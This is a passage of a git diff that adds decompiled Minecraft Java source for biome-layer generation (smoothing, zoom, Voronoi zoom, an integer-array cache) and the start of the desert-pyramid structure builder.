+      for (int var8 = 0; var8 < areaWidth; var8++)
+      {
+        initChunkSeed(var8 + areaX, var7 + areaY);
+        int var9 = var5[(var8 + 1 + (var7 + 1) * (areaWidth + 2))];
+        BiomeGenBase var10 = BiomeGenBase.getBiome(var9);
+        
+
+
+
+
+        if (var9 == mushroomIslandbiomeID)
+        {
+          int var11 = var5[(var8 + 1 + (var7 + 1 - 1) * (areaWidth + 2))];
+          int var12 = var5[(var8 + 1 + 1 + (var7 + 1) * (areaWidth + 2))];
+          int var13 = var5[(var8 + 1 - 1 + (var7 + 1) * (areaWidth + 2))];
+          int var14 = var5[(var8 + 1 + (var7 + 1 + 1) * (areaWidth + 2))];
+          
+          if ((var11 != oceanbiomeID) && (var12 != oceanbiomeID) && (var13 != oceanbiomeID) && (var14 != oceanbiomeID))
+          {
+            var6[(var8 + var7 * areaWidth)] = var9;
+          }
+          else
+          {
+            var6[(var8 + var7 * areaWidth)] = mushroomIslandShorebiomeID;
+          }
+        }
+        else if ((var10 != null) && (var10.getBiomeClass() == BiomeGenJungle.class))
+        {
+          int var11 = var5[(var8 + 1 + (var7 + 1 - 1) * (areaWidth + 2))];
+          int var12 = var5[(var8 + 1 + 1 + (var7 + 1) * (areaWidth + 2))];
+          int var13 = var5[(var8 + 1 - 1 + (var7 + 1) * (areaWidth + 2))];
+          int var14 = var5[(var8 + 1 + (var7 + 1 + 1) * (areaWidth + 2))];
+          
+          if ((func_151631_c(var11)) && (func_151631_c(var12)) && (func_151631_c(var13)) && (func_151631_c(var14)))
+          {
+            if ((!isBiomeOceanic(var11)) && (!isBiomeOceanic(var12)) && (!isBiomeOceanic(var13)) && (!isBiomeOceanic(var14)))
+            {
+              var6[(var8 + var7 * areaWidth)] = var9;
+            }
+            else
+            {
+              var6[(var8 + var7 * areaWidth)] = beachbiomeID;
+            }
+            
+          }
+          else {
+            var6[(var8 + var7 * areaWidth)] = jungleEdgebiomeID;
+          }
+        }
+        else if ((var9 != extremeHillsbiomeID) && (var9 != extremeHillsPlusbiomeID) && (var9 != extremeHillsEdgebiomeID))
+        {
+          if ((var10 != null) && (var10.isSnowyBiome()))
+          {
+            func_151632_a(var5, var6, var8, var7, areaWidth, var9, coldBeachbiomeID);
+          }
+          else if ((var9 != mesabiomeID) && (var9 != mesaPlateau_FbiomeID))
+          {
+            if ((var9 != oceanbiomeID) && (var9 != deepOceanbiomeID) && (var9 != riverbiomeID) && (var9 != swamplandbiomeID))
+            {
+              int var11 = var5[(var8 + 1 + (var7 + 1 - 1) * (areaWidth + 2))];
+              int var12 = var5[(var8 + 1 + 1 + (var7 + 1) * (areaWidth + 2))];
+              int var13 = var5[(var8 + 1 - 1 + (var7 + 1) * (areaWidth + 2))];
+              int var14 = var5[(var8 + 1 + (var7 + 1 + 1) * (areaWidth + 2))];
+              
+              if ((!isBiomeOceanic(var11)) && (!isBiomeOceanic(var12)) && (!isBiomeOceanic(var13)) && (!isBiomeOceanic(var14)))
+              {
+                var6[(var8 + var7 * areaWidth)] = var9;
+              }
+              else
+              {
+                var6[(var8 + var7 * areaWidth)] = beachbiomeID;
+              }
+            }
+            else
+            {
+              var6[(var8 + var7 * areaWidth)] = var9;
+            }
+          }
+          else
+          {
+            int var11 = var5[(var8 + 1 + (var7 + 1 - 1) * (areaWidth + 2))];
+            int var12 = var5[(var8 + 1 + 1 + (var7 + 1) * (areaWidth + 2))];
+            int var13 = var5[(var8 + 1 - 1 + (var7 + 1) * (areaWidth + 2))];
+            int var14 = var5[(var8 + 1 + (var7 + 1 + 1) * (areaWidth + 2))];
+            
+            if ((!isBiomeOceanic(var11)) && (!isBiomeOceanic(var12)) && (!isBiomeOceanic(var13)) && (!isBiomeOceanic(var14)))
+            {
+              if ((func_151633_d(var11)) && (func_151633_d(var12)) && (func_151633_d(var13)) && (func_151633_d(var14)))
+              {
+                var6[(var8 + var7 * areaWidth)] = var9;
+              }
+              else
+              {
+                var6[(var8 + var7 * areaWidth)] = desertbiomeID;
+              }
+              
+            }
+            else {
+              var6[(var8 + var7 * areaWidth)] = var9;
+            }
+          }
+        }
+        else
+        {
+          func_151632_a(var5, var6, var8, var7, areaWidth, var9, stoneBeachbiomeID);
+        }
+      }
+    }
+    
+    return var6;
+  }
+  
+  private void func_151632_a(int[] p_151632_1_, int[] p_151632_2_, int p_151632_3_, int p_151632_4_, int p_151632_5_, int p_151632_6_, int p_151632_7_)
+  {
+    if (isBiomeOceanic(p_151632_6_))
+    {
+      p_151632_2_[(p_151632_3_ + p_151632_4_ * p_151632_5_)] = p_151632_6_;
+    }
+    else
+    {
+      int var8 = p_151632_1_[(p_151632_3_ + 1 + (p_151632_4_ + 1 - 1) * (p_151632_5_ + 2))];
+      int var9 = p_151632_1_[(p_151632_3_ + 1 + 1 + (p_151632_4_ + 1) * (p_151632_5_ + 2))];
+      int var10 = p_151632_1_[(p_151632_3_ + 1 - 1 + (p_151632_4_ + 1) * (p_151632_5_ + 2))];
+      int var11 = p_151632_1_[(p_151632_3_ + 1 + (p_151632_4_ + 1 + 1) * (p_151632_5_ + 2))];
+      
+      if ((!isBiomeOceanic(var8)) && (!isBiomeOceanic(var9)) && (!isBiomeOceanic(var10)) && (!isBiomeOceanic(var11)))
+      {
+        p_151632_2_[(p_151632_3_ + p_151632_4_ * p_151632_5_)] = p_151632_6_;
+      }
+      else
+      {
+        p_151632_2_[(p_151632_3_ + p_151632_4_ * p_151632_5_)] = p_151632_7_;
+      }
+    }
+  }
+  
+  private boolean func_151631_c(int p_151631_1_)
+  {
+    return (BiomeGenBase.getBiome(p_151631_1_) != null) && (BiomeGenBase.getBiome(p_151631_1_).getBiomeClass() == BiomeGenJungle.class);
+  }
+  
+  private boolean func_151633_d(int p_151633_1_)
+  {
+    return BiomeGenBase.getBiome(p_151633_1_) instanceof BiomeGenMesa;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerSmooth.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerSmooth.java
new file mode 100644
index 0000000..cc6d173
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerSmooth.java
@@ -0,0 +1,68 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerSmooth extends GenLayer
+{
+  private static final String __OBFID = "CL_00000569";
+  
+  public GenLayerSmooth(long p_i2131_1_, GenLayer p_i2131_3_)
+  {
+    super(p_i2131_1_);
+    parent = p_i2131_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int var5 = areaX - 1;
+    int var6 = areaY - 1;
+    int var7 = areaWidth + 2;
+    int var8 = areaHeight + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int[] var10 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var11 = 0; var11 < areaHeight; var11++)
+    {
+      for (int var12 = 0; var12 < areaWidth; var12++)
+      {
+        int var13 = var9[(var12 + 0 + (var11 + 1) * var7)];
+        int var14 = var9[(var12 + 2 + (var11 + 1) * var7)];
+        int var15 = var9[(var12 + 1 + (var11 + 0) * var7)];
+        int var16 = var9[(var12 + 1 + (var11 + 2) * var7)];
+        int var17 = var9[(var12 + 1 + (var11 + 1) * var7)];
+        
+        if ((var13 == var14) && (var15 == var16))
+        {
+          initChunkSeed(var12 + areaX, var11 + areaY);
+          
+          if (nextInt(2) == 0)
+          {
+            var17 = var13;
+          }
+          else
+          {
+            var17 = var15;
+          }
+        }
+        else
+        {
+          if (var13 == var14)
+          {
+            var17 = var13;
+          }
+          
+          if (var15 == var16)
+          {
+            var17 = var15;
+          }
+        }
+        
+        var10[(var12 + var11 * areaWidth)] = var17;
+      }
+    }
+    
+    return var10;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerVoronoiZoom.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerVoronoiZoom.java
new file mode 100644
index 0000000..9931165
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerVoronoiZoom.java
@@ -0,0 +1,98 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerVoronoiZoom extends GenLayer
+{
+  private static final String __OBFID = "CL_00000571";
+  
+  public GenLayerVoronoiZoom(long p_i2133_1_, GenLayer p_i2133_3_)
+  {
+    super(p_i2133_1_);
+    parent = p_i2133_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    areaX -= 2;
+    areaY -= 2;
+    int var5 = areaX >> 2;
+    int var6 = areaY >> 2;
+    int var7 = (areaWidth >> 2) + 2;
+    int var8 = (areaHeight >> 2) + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int var10 = var7 - 1 << 2;
+    int var11 = var8 - 1 << 2;
+    int[] var12 = IntCache.getIntCache(var10 * var11);
+    
+
+    for (int var13 = 0; var13 < var8 - 1; var13++)
+    {
+      int var14 = 0;
+      int var15 = var9[(var14 + 0 + (var13 + 0) * var7)];
+      
+      for (int var16 = var9[(var14 + 0 + (var13 + 1) * var7)]; var14 < var7 - 1; var14++)
+      {
+        double var17 = 3.6D;
+        initChunkSeed(var14 + var5 << 2, var13 + var6 << 2);
+        double var19 = (nextInt(1024) / 1024.0D - 0.5D) * 3.6D;
+        double var21 = (nextInt(1024) / 1024.0D - 0.5D) * 3.6D;
+        initChunkSeed(var14 + var5 + 1 << 2, var13 + var6 << 2);
+        double var23 = (nextInt(1024) / 1024.0D - 0.5D) * 3.6D + 4.0D;
+        double var25 = (nextInt(1024) / 1024.0D - 0.5D) * 3.6D;
+        initChunkSeed(var14 + var5 << 2, var13 + var6 + 1 << 2);
+        double var27 = (nextInt(1024) / 1024.0D - 0.5D) * 3.6D;
+        double var29 = (nextInt(1024) / 1024.0D - 0.5D) * 3.6D + 4.0D;
+        initChunkSeed(var14 + var5 + 1 << 2, var13 + var6 + 1 << 2);
+        double var31 = (nextInt(1024) / 1024.0D - 0.5D) * 3.6D + 4.0D;
+        double var33 = (nextInt(1024) / 1024.0D - 0.5D) * 3.6D + 4.0D;
+        int var35 = var9[(var14 + 1 + (var13 + 0) * var7)] & 0xFF;
+        int var36 = var9[(var14 + 1 + (var13 + 1) * var7)] & 0xFF;
+        
+        for (int var37 = 0; var37 < 4; var37++)
+        {
+          int var38 = ((var13 << 2) + var37) * var10 + (var14 << 2);
+          
+          for (int var39 = 0; var39 < 4; var39++)
+          {
+            double var40 = (var37 - var21) * (var37 - var21) + (var39 - var19) * (var39 - var19);
+            double var42 = (var37 - var25) * (var37 - var25) + (var39 - var23) * (var39 - var23);
+            double var44 = (var37 - var29) * (var37 - var29) + (var39 - var27) * (var39 - var27);
+            double var46 = (var37 - var33) * (var37 - var33) + (var39 - var31) * (var39 - var31);
+            
+            if ((var40 < var42) && (var40 < var44) && (var40 < var46))
+            {
+              var12[(var38++)] = var15;
+            }
+            else if ((var42 < var40) && (var42 < var44) && (var42 < var46))
+            {
+              var12[(var38++)] = var35;
+            }
+            else if ((var44 < var40) && (var44 < var42) && (var44 < var46))
+            {
+              var12[(var38++)] = var16;
+            }
+            else
+            {
+              var12[(var38++)] = var36;
+            }
+          }
+        }
+        
+        var15 = var35;
+        var16 = var36;
+      }
+    }
+    
+    int[] var48 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var14 = 0; var14 < areaHeight; var14++)
+    {
+      System.arraycopy(var12, (var14 + (areaY & 0x3)) * var10 + (areaX & 0x3), var48, var14 * areaWidth, areaWidth);
+    }
+    
+    return var48;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/GenLayerZoom.java b/src/minecraft/net/minecraft/world/gen/layer/GenLayerZoom.java
new file mode 100644
index 0000000..a7444b3
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/GenLayerZoom.java
@@ -0,0 +1,73 @@
+package net.minecraft.world.gen.layer;
+
+public class GenLayerZoom extends GenLayer
+{
+  private static final String __OBFID = "CL_00000572";
+  
+  public GenLayerZoom(long p_i2134_1_, GenLayer p_i2134_3_)
+  {
+    super(p_i2134_1_);
+    parent = p_i2134_3_;
+  }
+  
+
+
+
+
+  public int[] getInts(int areaX, int areaY, int areaWidth, int areaHeight)
+  {
+    int var5 = areaX >> 1;
+    int var6 = areaY >> 1;
+    int var7 = (areaWidth >> 1) + 2;
+    int var8 = (areaHeight >> 1) + 2;
+    int[] var9 = parent.getInts(var5, var6, var7, var8);
+    int var10 = var7 - 1 << 1;
+    int var11 = var8 - 1 << 1;
+    int[] var12 = IntCache.getIntCache(var10 * var11);
+    
+
+    for (int var13 = 0; var13 < var8 - 1; var13++)
+    {
+      int var14 = (var13 << 1) * var10;
+      int var15 = 0;
+      int var16 = var9[(var15 + 0 + (var13 + 0) * var7)];
+      
+      for (int var17 = var9[(var15 + 0 + (var13 + 1) * var7)]; var15 < var7 - 1; var15++)
+      {
+        initChunkSeed(var15 + var5 << 1, var13 + var6 << 1);
+        int var18 = var9[(var15 + 1 + (var13 + 0) * var7)];
+        int var19 = var9[(var15 + 1 + (var13 + 1) * var7)];
+        var12[var14] = var16;
+        var12[(var14++ + var10)] = selectRandom(new int[] { var16, var17 });
+        var12[var14] = selectRandom(new int[] { var16, var18 });
+        var12[(var14++ + var10)] = selectModeOrRandom(var16, var18, var17, var19);
+        var16 = var18;
+        var17 = var19;
+      }
+    }
+    
+    int[] var20 = IntCache.getIntCache(areaWidth * areaHeight);
+    
+    for (int var14 = 0; var14 < areaHeight; var14++)
+    {
+      System.arraycopy(var12, (var14 + (areaY & 0x1)) * var10 + (areaX & 0x1), var20, var14 * areaWidth, areaWidth);
+    }
+    
+    return var20;
+  }
+  
+
+
+
+  public static GenLayer magnify(long p_75915_0_, GenLayer p_75915_2_, int p_75915_3_)
+  {
+    Object var4 = p_75915_2_;
+    
+    for (int var5 = 0; var5 < p_75915_3_; var5++)
+    {
+      var4 = new GenLayerZoom(p_75915_0_ + var5, (GenLayer)var4);
+    }
+    
+    return (GenLayer)var4;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/layer/IntCache.java b/src/minecraft/net/minecraft/world/gen/layer/IntCache.java
new file mode 100644
index 0000000..078d176
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/layer/IntCache.java
@@ -0,0 +1,104 @@
+package net.minecraft.world.gen.layer;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+
+public class IntCache
+{
+  private static int intCacheSize = 256;
+  
+
+
+
+  private static List freeSmallArrays = Lists.newArrayList();
+  
+
+
+
+
+  private static List inUseSmallArrays = Lists.newArrayList();
+  
+
+
+
+  private static List freeLargeArrays = Lists.newArrayList();
+  
+
+
+
+
+  private static List inUseLargeArrays = Lists.newArrayList();
+  private static final String __OBFID = "CL_00000557";
+  
+  public IntCache() {}
+  
+  public static synchronized int[] getIntCache(int p_76445_0_)
+  {
+    if (p_76445_0_ <= 256)
+    {
+      if (freeSmallArrays.isEmpty())
+      {
+        int[] var1 = new int['Ā'];
+        inUseSmallArrays.add(var1);
+        return var1;
+      }
+      
+
+      int[] var1 = (int[])freeSmallArrays.remove(freeSmallArrays.size() - 1);
+      inUseSmallArrays.add(var1);
+      return var1;
+    }
+    
+    if (p_76445_0_ > intCacheSize)
+    {
+      intCacheSize = p_76445_0_;
+      freeLargeArrays.clear();
+      inUseLargeArrays.clear();
+      int[] var1 = new int[intCacheSize];
+      inUseLargeArrays.add(var1);
+      return var1;
+    }
+    if (freeLargeArrays.isEmpty())
+    {
+      int[] var1 = new int[intCacheSize];
+      inUseLargeArrays.add(var1);
+      return var1;
+    }
+    
+
+    int[] var1 = (int[])freeLargeArrays.remove(freeLargeArrays.size() - 1);
+    inUseLargeArrays.add(var1);
+    return var1;
+  }
+  
+
+
+
+
+  public static synchronized void resetIntCache()
+  {
+    if (!freeLargeArrays.isEmpty())
+    {
+      freeLargeArrays.remove(freeLargeArrays.size() - 1);
+    }
+    
+    if (!freeSmallArrays.isEmpty())
+    {
+      freeSmallArrays.remove(freeSmallArrays.size() - 1);
+    }
+    
+    freeLargeArrays.addAll(inUseLargeArrays);
+    freeSmallArrays.addAll(inUseSmallArrays);
+    inUseLargeArrays.clear();
+    inUseSmallArrays.clear();
+  }
+  
+
+
+
+
+  public static synchronized String getCacheSizes()
+  {
+    return "cache: " + freeLargeArrays.size() + ", tcache: " + freeSmallArrays.size() + ", allocated: " + inUseLargeArrays.size() + ", tallocated: " + inUseSmallArrays.size();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces.java b/src/minecraft/net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces.java
new file mode 100644
index 0000000..c5b8fa2
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/gen/structure/ComponentScatteredFeaturePieces.java
@@ -0,0 +1,739 @@
+package net.minecraft.world.gen.structure;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLever;
+import net.minecraft.block.BlockPlanks.EnumType;
+import net.minecraft.block.BlockRedstoneWire;
+import net.minecraft.block.BlockSandStone.EnumType;
+import net.minecraft.block.BlockStoneSlab.EnumType;
+import net.minecraft.block.BlockTripWire;
+import net.minecraft.block.BlockTripWireHook;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.EnumDyeColor;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.WeightedRandomChestContent;
+import net.minecraft.world.World;
+
+public class ComponentScatteredFeaturePieces
+{
+  private static final String __OBFID = "CL_00000473";
+  
+  public ComponentScatteredFeaturePieces() {}
+  
+  public static void registerScatteredFeaturePieces()
+  {
+    MapGenStructureIO.registerStructureComponent(DesertPyramid.class, "TeDP");
+    MapGenStructureIO.registerStructureComponent(JunglePyramid.class, "TeJP");
+    MapGenStructureIO.registerStructureComponent(SwampHut.class, "TeSH");
+  }
+  
+  public static class DesertPyramid extends ComponentScatteredFeaturePieces.Feature
+  {
+    private boolean[] field_74940_h = new boolean[4];
+    private static final java.util.List itemsToGenerateInTemple = com.google.common.collect.Lists.newArrayList(new WeightedRandomChestContent[] { new WeightedRandomChestContent(Items.diamond, 0, 1, 3, 3), new WeightedRandomChestContent(Items.iron_ingot, 0, 1, 5, 10), new WeightedRandomChestContent(Items.gold_ingot, 0, 2, 7, 15), new WeightedRandomChestContent(Items.emerald, 0, 1, 3, 2), new WeightedRandomChestContent(Items.bone, 0, 4, 6, 20), new WeightedRandomChestContent(Items.rotten_flesh, 0, 3, 7, 16), new WeightedRandomChestContent(Items.saddle, 0, 1, 1, 3), new WeightedRandomChestContent(Items.iron_horse_armor, 0, 1, 1, 1), new WeightedRandomChestContent(Items.golden_horse_armor, 0, 1, 1, 1), new WeightedRandomChestContent(Items.diamond_horse_armor, 0, 1, 1, 1) });
+    private static final String __OBFID = "CL_00000476";
+    
+    public DesertPyramid() {}
+    
+    public DesertPyramid(Random p_i2062_1_, int p_i2062_2_, int p_i2062_3_)
+    {
+      super(p_i2062_2_, 64, p_i2062_3_, 21, 15, 21);
+    }
+    
+    protected void writeStructureToNBT(NBTTagCompound p_143012_1_)
+    {
+      super.writeStructureToNBT(p_143012_1_);
+      p_143012_1_.setBoolean("hasPlacedChest0", field_74940_h[0]);
+      p_143012_1_.setBoolean("hasPlacedChest1", field_74940_h[1]);
+      p_143012_1_.setBoolean("hasPlacedChest2", field_74940_h[2]);
+      p_143012_1_.setBoolean("hasPlacedChest3", field_74940_h[3]);
+    }
+    
+    protected void readStructureFromNBT(NBTTagCompound p_143011_1_)
+    {
+      super.readStructureFromNBT(p_143011_1_);
+      field_74940_h[0] = p_143011_1_.getBoolean("hasPlacedChest0");
+      field_74940_h[1] = p_143011_1_.getBoolean("hasPlacedChest1");
+      field_74940_h[2] = p_143011_1_.getBoolean("hasPlacedChest2");
+      field_74940_h[3] = p_143011_1_.getBoolean("hasPlacedChest3");
+    }
+    
+    public boolean addComponentParts(World worldIn, Random p_74875_2_, StructureBoundingBox p_74875_3_)
+    {
+      func_175804_a(worldIn, p_74875_3_, 0, -4, 0, scatteredFeatureSizeX - 1, 0, scatteredFeatureSizeZ - 1, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      
+
+      for (int var4 = 1; var4 <= 9; var4++)
+      {
+        func_175804_a(worldIn, p_74875_3_, var4, var4, var4, scatteredFeatureSizeX - 1 - var4, var4, scatteredFeatureSizeZ - 1 - var4, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+        func_175804_a(worldIn, p_74875_3_, var4 + 1, var4, var4 + 1, scatteredFeatureSizeX - 2 - var4, var4, scatteredFeatureSizeZ - 2 - var4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      }
+      
+
+
+      for (var4 = 0; var4 < scatteredFeatureSizeX; var4++)
+      {
+        for (int var5 = 0; var5 < scatteredFeatureSizeZ; var5++)
+        {
+          byte var6 = -5;
+          func_175808_b(worldIn, Blocks.sandstone.getDefaultState(), var4, var6, var5, p_74875_3_);
+        }
+      }
+      
+      var4 = getMetadataWithOffset(Blocks.sandstone_stairs, 3);
+      int var5 = getMetadataWithOffset(Blocks.sandstone_stairs, 2);
+      int var14 = getMetadataWithOffset(Blocks.sandstone_stairs, 0);
+      int var7 = getMetadataWithOffset(Blocks.sandstone_stairs, 1);
+      int var8 = (EnumDyeColor.ORANGE.getDyeColorDamage() ^ 0xFFFFFFFF) & 0xF;
+      int var9 = (EnumDyeColor.BLUE.getDyeColorDamage() ^ 0xFFFFFFFF) & 0xF;
+      func_175804_a(worldIn, p_74875_3_, 0, 0, 0, 4, 9, 4, Blocks.sandstone.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 10, 1, 3, 10, 3, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var4), 2, 10, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var5), 2, 10, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var14), 0, 10, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var7), 4, 10, 2, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 5, 0, 0, scatteredFeatureSizeX - 1, 9, 4, Blocks.sandstone.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 4, 10, 1, scatteredFeatureSizeX - 2, 10, 3, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var4), scatteredFeatureSizeX - 3, 10, 0, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var5), scatteredFeatureSizeX - 3, 10, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var14), scatteredFeatureSizeX - 5, 10, 2, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var7), scatteredFeatureSizeX - 1, 10, 2, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 8, 0, 0, 12, 4, 4, Blocks.sandstone.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 1, 0, 11, 3, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 9, 1, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 9, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 9, 3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 10, 3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 11, 3, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 11, 2, 1, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), 11, 1, 1, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 1, 8, 3, 3, Blocks.sandstone.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 4, 1, 2, 8, 2, 2, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 12, 1, 1, 16, 3, 3, Blocks.sandstone.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 12, 1, 2, 16, 2, 2, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 4, 5, scatteredFeatureSizeX - 6, 4, scatteredFeatureSizeZ - 6, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 9, 4, 9, 11, 4, 11, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 1, 8, 8, 3, 8, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 12, 1, 8, 12, 3, 8, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 8, 1, 12, 8, 3, 12, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 12, 1, 12, 12, 3, 12, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175804_a(worldIn, p_74875_3_, 1, 1, 5, 4, 4, 11, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 5, 1, 5, scatteredFeatureSizeX - 2, 4, 11, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 6, 7, 9, 6, 7, 11, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 7, 7, 9, scatteredFeatureSizeX - 7, 7, 11, Blocks.sandstone.getDefaultState(), Blocks.sandstone.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, 5, 5, 9, 5, 7, 11, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 6, 5, 9, scatteredFeatureSizeX - 6, 7, 11, Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), Blocks.sandstone.getStateFromMeta(BlockSandStone.EnumType.SMOOTH.func_176675_a()), false);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 5, 5, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 5, 6, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), 6, 6, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), scatteredFeatureSizeX - 6, 5, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), scatteredFeatureSizeX - 6, 6, 10, p_74875_3_);
+      func_175811_a(worldIn, Blocks.air.getDefaultState(), scatteredFeatureSizeX - 7, 6, 10, p_74875_3_);
+      func_175804_a(worldIn, p_74875_3_, 2, 4, 4, 2, 6, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175804_a(worldIn, p_74875_3_, scatteredFeatureSizeX - 3, 4, 4, scatteredFeatureSizeX - 3, 6, 4, Blocks.air.getDefaultState(), Blocks.air.getDefaultState(), false);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var4), 2, 4, 5, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var4), 2, 3, 4, p_74875_3_);
+      func_175811_a(worldIn, Blocks.sandstone_stairs.getStateFromMeta(var4), scatteredFeatureSizeX - 3, 4, 5, p_74875_3_);
